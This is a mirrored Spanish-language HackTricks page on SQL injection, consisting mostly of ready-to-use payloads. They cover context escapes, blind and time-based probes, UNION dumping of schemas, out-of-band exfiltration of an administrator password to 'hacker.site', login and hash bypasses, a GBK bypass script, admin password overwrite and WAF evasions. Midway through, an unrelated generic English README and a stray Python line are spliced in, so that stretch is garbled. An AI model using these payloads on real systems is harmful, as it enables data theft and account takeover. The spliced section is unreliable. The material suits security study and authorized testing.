hacktricks/pentesting-web/sql-injection
2024-02-05 02:44:49 +00:00
..
mysql-injection Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2024-01-01 18:33:30 +00:00
postgresql-injection Translated ['forensics/basic-forensic-methodology/partitions-file-system 2024-02-05 02:44:49 +00:00
sqlmap Translated ['network-services-pentesting/pentesting-rdp.md', 'network-se 2024-01-11 13:54:35 +00:00
cypher-injection-neo4j.md f 2023-06-05 20:33:24 +02:00
ms-access-sql-injection.md Translated ['pentesting-web/hacking-with-cookies/cookie-bomb.md', 'pente 2024-01-10 17:10:25 +00:00
mssql-injection.md Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2024-01-01 18:33:30 +00:00
oracle-injection.md Translated ['pentesting-web/deserialization/nodejs-proto-prototype-pollu 2024-01-01 18:33:30 +00:00
README.md f 2023-06-05 20:33:24 +02:00
sqlmap.md Translated ['pentesting-web/hacking-with-cookies/cookie-bomb.md', 'pente 2024-01-10 17:10:25 +00:00

Inyección SQL

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.

{% embed url="https://www.rootedcon.com/" %}

¿Qué es la inyección SQL?

La inyección SQL es una vulnerabilidad de seguridad web que permite a un atacante interferir con las consultas que una aplicación realiza a su base de datos. Por lo general, permite a un atacante ver datos a los que normalmente no puede acceder. Esto puede incluir datos pertenecientes a otros usuarios, o cualquier otro dato al que la aplicación en sí misma pueda acceder. En muchos casos, un atacante puede modificar o eliminar estos datos, causando cambios persistentes en el contenido o comportamiento de la aplicación.
En algunas situaciones, un atacante puede escalar un ataque de inyección SQL para comprometer el servidor subyacente u otra infraestructura de back-end, o realizar un ataque de denegación de servicio. (De aquí).

En este POST voy a suponer que hemos encontrado una posible inyección SQL y vamos a discutir posibles métodos para confirmar la inyección SQL, reconocer la base de datos y realizar acciones.

Detección del punto de entrada

Es posible que hayas encontrado un sitio que es aparentemente vulnerable a SQLi solo porque el servidor se comporta de manera extraña con las entradas relacionadas con SQLi. Por lo tanto, lo primero que debes hacer es saber cómo inyectar datos en la consulta sin romperla. Para hacerlo, primero debes encontrar cómo escapar del contexto actual.
Estos son algunos ejemplos útiles:

 [Nothing]
'
"
`
')
")
`)
'))
"))
`))

Entonces, necesitas saber cómo arreglar la consulta para que no haya errores. Para arreglar la consulta, puedes introducir datos para que la consulta anterior acepte los nuevos datos, o simplemente puedes introducir tus datos y añadir un símbolo de comentario al final.

Nota que si puedes ver mensajes de error o puedes detectar diferencias cuando una consulta está funcionando y cuando no lo está, esta fase será más fácil.

Comentarios

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Confirmación con operaciones lógicas

Una de las mejores formas de confirmar una inyección SQL es haciéndola operar una operación lógica y obteniendo los resultados esperados.
Por ejemplo: si el parámetro GET ?username=Peter devuelve el mismo contenido que ?username=Peter' or '1'='1, entonces has encontrado una inyección SQL.

También puedes aplicar este concepto a operaciones matemáticas. Ejemplo: si ?id=1 devuelve lo mismo que ?id=2-1, inyección SQL.

page.asp?id=1 or 1=1 -- true
page.asp?id=1' or 1=1 -- true
page.asp?id=1" or 1=1 -- true
page.asp?id=1 and 1=2 -- false

Esta lista de palabras fue creada para intentar confirmar inyecciones SQL de la manera propuesta:

{% file src="../../.gitbook/assets/sqli-logic.txt" %}

Confirmación mediante temporización

En algunos casos, no notarás ningún cambio en la página que estás probando. Por lo tanto, una buena manera de descubrir inyecciones SQL ciegas es hacer que la base de datos realice acciones que tengan un impacto en el tiempo que tarda la página en cargarse.
Por lo tanto, vamos a concatenar en la consulta SQL una operación que tardará mucho tiempo en completarse:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

En algunos casos, las funciones de espera no estarán permitidas. En lugar de usar esas funciones, podrías hacer que la consulta realice operaciones complejas que tardarán varios segundos. Se comentarán ejemplos de estas técnicas por separado en cada tecnología (si las hay).

Identificación del back-end

La mejor manera de identificar el back-end es intentar ejecutar funciones de los diferentes back-ends. Podrías usar las funciones de espera de la sección anterior o estas:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Además, si tienes acceso a la salida de la consulta, podrías hacer que imprima la versión de la base de datos.

{% hint style="info" %} A continuación, vamos a discutir diferentes métodos para explotar diferentes tipos de Inyección SQL. Usaremos MySQL como ejemplo. {% endhint %}

Identificación con PortSwigger

{% embed url="https://portswigger.net/web-security/sql-injection/cheat-sheet" %}

Explotando Union Based

Detectando el número de columnas

Si puedes ver la salida de la consulta, esta es la mejor manera de explotarla.
En primer lugar, necesitamos averiguar el número de columnas que devuelve la solicitud inicial. Esto se debe a que ambas consultas deben devolver el mismo número de columnas.
Dos métodos se utilizan típicamente para este propósito:

Order/Group by

Sigue incrementando el número hasta que obtengas una respuesta Falsa. Aunque GROUP BY y ORDER BY tienen diferentes funcionalidades en SQL, ambos se pueden usar de la misma manera para determinar el número de columnas en la consulta.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
                        #-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
                        #-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Selecciona cada vez más valores nulos hasta que la consulta sea correcta:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Deberías usar valores null ya que en algunos casos el tipo de las columnas de ambos lados de la consulta deben ser iguales y null es válido en todos los casos.

Extraer nombres de bases de datos, nombres de tablas y nombres de columnas

En los siguientes ejemplos vamos a obtener el nombre de todas las bases de datos, el nombre de la tabla de una base de datos, y los nombres de las columnas de la tabla:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Hay una forma diferente de descubrir estos datos en cada base de datos, pero siempre se sigue la misma metodología.

Explotando Union Based Oculto

Si puedes ver la salida de la consulta pero no puedes lograr una inyección basada en uniones, estás tratando con una inyección basada en uniones oculta.
En esta situación, terminas con una inyección ciega. Para convertir la inyección ciega en una basada en uniones, debes extraer la consulta que se está ejecutando en el backend.
Puedes hacerlo mediante el uso de la inyección ciega y las tablas predeterminadas de tu DBMS objetivo. Para conocer esas tablas predeterminadas, lee la documentación de tu DBMS objetivo.
Después de extraer la consulta, debes ajustar tu carga útil en consecuencia, cerrando la consulta original de manera segura. Luego, agrega una consulta de unión a tu carga útil y comienza a explotar la inyección basada en uniones recién obtenida.

Artículo completo: https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f

Explotando Error Based

Si por alguna razón no puedes ver la salida de la consulta pero puedes ver los mensajes de error, puedes hacer que estos mensajes de error exfiltren datos de la base de datos.
Siguiendo un flujo similar al de la explotación basada en uniones, podrías lograr volcar la base de datos.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Explotando Blind SQLi

En este caso no puedes ver los resultados de la consulta ni los errores, pero puedes distinguir cuando la consulta devuelve una respuesta verdadera o falsa porque hay diferentes contenidos en la página.
En este caso, puedes abusar de ese comportamiento para volcar la base de datos carácter por carácter:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Explotando Error Blind SQLi

Este es el mismo caso que antes, pero en lugar de distinguir entre una respuesta verdadera/falsa de la consulta, se puede distinguir entre un error en la consulta SQL o no (tal vez porque el servidor HTTP falla). Por lo tanto, en este caso se puede forzar un error SQL cada vez que se adivina correctamente el carácter:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Explotando SQLi basado en tiempo

En este caso no hay forma de distinguir la respuesta de la consulta basándose en el contexto de la página. Pero, puedes hacer que la página tome más tiempo en cargar si el carácter adivinado es correcto. Ya hemos visto esta técnica antes para confirmar una vulnerabilidad SQLi.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Consultas Apiladas

Puedes usar consultas apiladas para ejecutar múltiples consultas en sucesión. Ten en cuenta que mientras se ejecutan las consultas posteriores, los resultados no se devuelven a la aplicación. Por lo tanto, esta técnica se utiliza principalmente en relación con vulnerabilidades ciegas donde puedes usar una segunda consulta para desencadenar una búsqueda de DNS, un error condicional o una demora de tiempo.

Oracle no admite consultas apiladas. MySQL, Microsoft y PostgreSQL las admiten: CONSULTA-1-AQUÍ; CONSULTA-2-AQUÍ

Explotación Fuera de Banda

Si ningún otro método de explotación funcionó, puedes intentar hacer que la base de datos exfiltre la información a un host externo controlado por ti. Por ejemplo, a través de consultas DNS:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Exfiltración de datos fuera de banda a través de XXE

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Explotación Automatizada

Revisa la Guía de SQLMap para explotar una vulnerabilidad de SQLi con sqlmap.

Información específica de tecnología

Ya hemos discutido todas las formas de explotar una vulnerabilidad de SQL Injection. Encuentra algunos trucos más dependientes de la tecnología de la base de datos en este libro:

O encontrarás muchos trucos sobre: MySQL, PostgreSQL, Oracle, MSSQL, SQLite y HQL en https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.

{% embed url="https://www.rootedcon.com/" %}

Bypass de autenticación

Lista para intentar saltarse la funcionalidad de inicio de sesión:

{% content-ref url="../login-bypass/sql-login-bypass.md" %} sql-login-bypass.md {% endcontent-ref %}

Bypass de autenticación (MD5 sin procesar)

Cuando se utiliza un MD5 sin procesar, la contraseña se consultará como una cadena simple, no como una cadena hexadecimal.

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Permitir a un atacante crear una cadena con una declaración true como ' or 'SOMETHING.

md5("ffifdyop", true) = 'or'6<EFBFBD>]<EFBFBD><EFBFBD>!r,<EFBFBD><EFBFBD>b<EFBFBD>

Desafío disponible en http://web.jarvisoj.com:32772

Bypass de autenticación por hash

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Lista recomendada:

Deberías usar cada línea de la lista como nombre de usuario y siempre la misma contraseña: Pass1234.
(Estos payloads también están incluidos en la lista grande mencionada al principio de esta sección)

{% file src="../../.gitbook/assets/sqli-hashbypass.txt" %}

GBK Autenticación Bypass

Si se está escapando ' puedes usar %A8%27, y cuando ' se escape se creará: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Script de Python:

import requests
url = "http://example.com/index.php" 
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3') 
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"} 
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url}) 
print r.text

Inyección políglota (multicontexto)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Declaración Insert

Modificar la contraseña de un objeto/usuario existente

Para hacerlo, debes intentar crear un nuevo objeto con el nombre del "objeto maestro" (probablemente admin en caso de usuarios) modificando algo:

  • Crear un usuario llamado: AdMIn (con letras mayúsculas y minúsculas)
  • Crear un usuario llamado: admin=
  • Ataque de truncamiento SQL (cuando hay algún tipo de límite de longitud en el nombre de usuario o correo electrónico) --> Crear un usuario con el nombre: admin [muchos espacios] a

Ataque de truncamiento SQL

Si la base de datos es vulnerable y el número máximo de caracteres para el nombre de usuario es, por ejemplo, 30 y quieres hacerse pasar por el usuario admin, intenta crear un nombre de usuario llamado: "admin [30 espacios] a" y cualquier contraseña.

La base de datos comprobará si el nombre de usuario introducido existe dentro de la base de datos. Si no, recortará el nombre de usuario al número máximo permitido de caracteres (en este caso a: "admin [25 espacios]") y luego eliminará automáticamente todos los espacios al final actualizando dentro de la base de datos el usuario "admin" con la nueva contraseña (puede aparecer algún error, pero eso no significa que no haya funcionado).

Más información: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html y https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Nota: Este ataque ya no funcionará como se describe anteriormente en las últimas instalaciones de MySQL. Si las comparaciones aún ignoran los espacios en blanco al final por defecto, intentar insertar una cadena que sea más larga que la longitud de un campo dará como resultado un error y la inserción fallará. Para obtener más información sobre esto, consulte https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation__

Verificación basada en tiempo de inserción de MySQL

Agrega tantos ','','' como consideres para salir de la declaración VALUES. Si se ejecuta un retraso, tienes una SQLInjection.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

La palabra clave ON DUPLICATE KEY UPDATE se utiliza para indicarle a MySQL qué hacer cuando la aplicación intenta insertar una fila que ya existe en la tabla. Podemos usar esto para cambiar la contraseña del administrador mediante:

Inject using payload:
  attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" --

The query would look like this:
INSERT INTO users (email, password) VALUES ("attacker_dummy@example.com", "bcrypt_hash_of_qwerty"), ("admin@example.com", "bcrypt_hash_of_qwerty") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_qwerty" -- ", "bcrypt_hash_of_your_password_input");

This query will insert a row for the user “attacker_dummy@example.com”. It will also insert a row for the user “admin@example.com”.
Because this row already exists, the ON DUPLICATE KEY UPDATE keyword tells MySQL to update the `password` column of the already existing row to "bcrypt_hash_of_qwerty".

After this, we can simply authenticate with “admin@example.com” and the password “qwerty”!

Extraer información

Creando 2 cuentas al mismo tiempo

Al intentar crear un nuevo usuario se necesitan un nombre de usuario, una contraseña y un correo electrónico:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Usando decimal o hexadecimal

Con esta técnica puedes extraer información creando solo 1 cuenta. Es importante tener en cuenta que no necesitas comentar nada.

Usando hex2dec y substr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'
cat /hive/hacktricks/pentesting-web/sql-injection/README.md

SQL Injection

SQL injection is a code injection technique that might destroy your database. SQL injection is one of the most common web hacking techniques.

Basic SQL Injection

String SQL Injection

The most common form of SQL injection is string SQL injection. This is the type of injection that is easy to exploit and is widely known.

SELECT * FROM users WHERE name = '$name';

Numeric SQL Injection

Numeric SQL injection is similar to string SQL injection, but instead of injecting a string, you inject a number.

SELECT * FROM users WHERE id = $id;

Boolean SQL Injection

Boolean SQL injection is a technique where you use boolean logic to inject SQL code into a query.

SELECT * FROM users WHERE name = '$name' AND password = '$password';

Advanced SQL Injection

Blind SQL Injection

Blind SQL injection is a type of SQL injection where the attacker does not get any information from the web application.

Time-Based Blind SQL Injection

Time-based blind SQL injection is a type of blind SQL injection where the attacker can infer the results of their SQL query based on how long it takes the web application to respond.

Out-of-Band SQL Injection

Out-of-band SQL injection is a type of SQL injection where the attacker can retrieve data using a different channel than the web application.

SQL Injection Prevention

Prepared Statements

Prepared statements are a way to parameterize SQL queries.

Stored Procedures

Stored procedures are a way to group SQL statements into a single unit.

Input Validation

Input validation is a way to ensure that user input is safe and does not contain any malicious code.

Escaping

Escaping is a way to prevent SQL injection by escaping special characters in user input.

SQL Injection Tools

SQLMap

SQLMap is a popular open-source SQL injection tool.

Havij

Havij is a popular commercial SQL injection tool.

SQLNinja

SQLNinja is a popular open-source SQL injection tool.

SQLSentinel

SQLSentinel is a popular commercial SQL injection tool.

References

__import__('binascii').unhexlify(hex(215573607263)[2:])

Usando hex y replace (y substr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.

{% embed url="https://www.rootedcon.com/" %}

Inyección SQL enrutada

La inyección SQL enrutada es una situación en la que la consulta inyectable no es la que da la salida, sino que la salida de la consulta inyectable va a la consulta que da la salida. (Paper)

Ejemplo:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

Bypass de WAF

Bypass sin espacios

Sin espacios (%20) - bypass utilizando alternativas de espacios en blanco

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - bypass usando comentarios

En algunos casos, el servidor puede estar configurado para filtrar los espacios en blanco en las solicitudes HTTP. En estos casos, se puede utilizar la técnica de comentarios para evitar la detección de espacios en blanco.

La técnica consiste en utilizar comentarios para separar las palabras clave de la consulta. Por ejemplo, en lugar de escribir UNION SELECT, se puede escribir UNION/**/SELECT.

Aquí hay un ejemplo de cómo se vería una inyección SQL utilizando esta técnica:

SELECT+username+FROM+users+WHERE+username='admin'/**/OR/**/1=1'/**/'AND/**/'a'='a

En este ejemplo, se utiliza el comentario /**/ para separar las palabras clave OR y AND de la consulta. Esto permite que la consulta se ejecute correctamente sin ser detectada por el filtro de espacios en blanco.

Es importante tener en cuenta que esta técnica no siempre funcionará, ya que algunos filtros pueden estar diseñados para detectar y bloquear el uso de comentarios en las solicitudes HTTP.

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - bypass usando paréntesis

En algunos casos, el servidor puede filtrar los espacios en blanco, lo que dificulta la inyección de SQL. En estos casos, se puede intentar usar paréntesis para separar las palabras clave de SQL.

Por ejemplo, en lugar de usar UNION SELECT, se puede usar UNION(SELECT). De esta manera, se evita el uso de espacios en blanco y se logra la misma funcionalidad.

Otro ejemplo sería en lugar de usar ORDER BY, se puede usar ORDER(/**/)BY.

Es importante tener en cuenta que esta técnica no siempre funciona y depende de cómo el servidor filtra los espacios en blanco.

?id=(1)and(1)=(1)--

Bypass sin comas

Bypass sin comas - utilizando OFFSET, FROM y JOIN.

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Bypasses Genéricos

Lista negra usando palabras clave - bypass usando mayúsculas/minúsculas

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist usando palabras clave sin distinguir mayúsculas y minúsculas - evadir usando un operador equivalente

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Bypass de WAF con Notación Científica

Puedes encontrar una explicación más detallada de este truco en el blog de gosecure.
Básicamente, puedes utilizar la notación científica de maneras inesperadas para evitar el WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Bypass de Restricción de Nombres de Columnas

En primer lugar, si la consulta original y la tabla de la que quieres extraer la bandera tienen la misma cantidad de columnas, podrías simplemente hacer: 0 UNION SELECT * FROM flag

Es posible acceder a la tercera columna de una tabla sin usar su nombre utilizando una consulta como la siguiente: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, por lo que en una inyección SQL se vería así:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

O utilizando un bypass de coma:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Este truco fue tomado de https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

Herramientas para sugerir bypass de WAF

{% embed url="https://github.com/m4ll0k/Atlas" %}

Otras guías

Lista de detección de fuerza bruta

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/sqli.txt" %}

RootedCON es el evento de ciberseguridad más relevante en España y uno de los más importantes en Europa. Con la misión de promover el conocimiento técnico, este congreso es un punto de encuentro para profesionales de la tecnología y la ciberseguridad en todas las disciplinas.

{% embed url="https://www.rootedcon.com/" %}

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥